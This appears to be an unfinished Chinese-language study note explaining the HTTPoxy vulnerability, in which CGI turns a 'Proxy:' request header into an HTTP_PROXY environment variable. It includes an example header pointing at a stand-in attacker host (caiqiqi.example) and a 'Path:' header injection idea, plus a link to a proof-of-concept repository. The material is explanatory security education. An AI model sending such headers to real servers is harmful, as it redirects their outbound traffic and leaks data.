HTTPoxy

这篇讲得非常亲切：
https://nakedsecurity.sophos.com/2016/07/19/httpoxy-the-disease-that-could-make-your-web-server-spring-a-leak/
这个是专门给HTTPoxy这个漏洞的网站：
https://httpoxy.org/
这个来自Laruence的博客：
http://www.laruence.com/2016/07/19/3101.html
来自360播报的分析：
http://bobao.360.cn/learning/detail/2903.html
A PoC for exploiting Guzzle’s HTTP_PROXY untrusted read
https://github.com/httpoxy/php-fpm-httpoxy-poc
HTTPoxy - CGI “HTTP_PROXY” variable name clash
https://access.redhat.com/security/vulnerabilities/httpoxy

HTTPoxy介绍

这个bug跟HTTP请求有关，还有跟代理(proxy)设置有关。
要弄清楚HTTPoxy，首先得弄清楚一个概念CGI(Common Gateway Interface)。比如PHP, Perl, Go, Python等。
Web请求，通常包含一些HTTP头，这些HTTP一方面会告诉服务器自己的相关信息，另一方面也会影响HTTP响应的结果。

从Web服务器到CGI脚本(比如PHP脚本)通过都是通过环境变量的方式来处理这些HTTP头的，不管是 Unix (e.g. the BSDs and OS X), Linux还是Windows。
其实就是一些以NAME=VALUE的方式存储在内存中的文本字符串，以便进程可以方便的访问它们。不管你打开Windows的cmd还是Linux/macOS的terminal，你都可以通过set命令查看当前terminal的环境变量。

RFC 2857提到说，为了更好地支持CGI子进程，那些支持CGI脚本的Web服务器应该将HTTP头的每个字段都添加到环境变量中，以使得原始HTTP头的每个字段都可以让CGI脚本访问。当然，为了避免冲突，CGI不能把每个HTTP头中的字段以同样的名字都添加到环境变量中。否则，如果有一个HTTP头叫Path:的话，会覆盖掉叫做PATH=的标准环境变量。这样会非常不安全，因为PATH=定义了去哪里找那些启动的程序。比如，可以构造一个Path: C:\Users\caiqiqi\Downloads的HTTP请求头字段，这样就欺骗CGI程序使它从一个非官方的地方读取程序。这样可能会造成RCE(Remote Code Execution)。

避免冲突

于是RFC 2857想到一个办法，
如果请求是HTTP协议的话，首先将HTTP请求头的每个字段的名字变成全大写，再在每个HTTP请求头的字符串前面加上一个HTTP_，来作为供CGI子进程处理的环境变量。并且，把HTTP请求头中的-替换成_。比如Content-Type，变成环境变量就是HTTP_CONTENT_TYPE。再比如HTTP头中Path:的字段就会变成HTTP_PATH=C:\Users\caiqiqi\Downloads。
//TODO

---

So far, so good…

但是并不是所有的以HTTP_开头的环境变量本质上都是安全的。
比如很多Web友好的程序/工具(很可能会被CGI脚本调用)会把这样一个环境变量HTTP_PROXY=特殊看待，它们会用这个变量来设置自己的代理。换句话说，如果我构造这样一个HTTP请求头

Proxy: http://caiqiqi.example/crooked_proxy

处理这个请求的CGI脚本就会设置这样一个环境变量

HTTP_PROXY=http://caiqiqi.example/crooked_proxy

于是，在此之后的这些CGI脚本产生的向外的HTTP请求(比如数据库查询或者认证一个用户)，都不会被直接处理，而是会先发到caiqiqi.example这个主机上(作为HTTP请求的proxy)，都是因为之前的毫不知情的代理设置。

注意：其实wget和curl使用的都是小写的http_proxy，不会被这个影响到。 最开心的是wget/curl不受影响！

这可能会导致大规模的数据泄露。
//TODO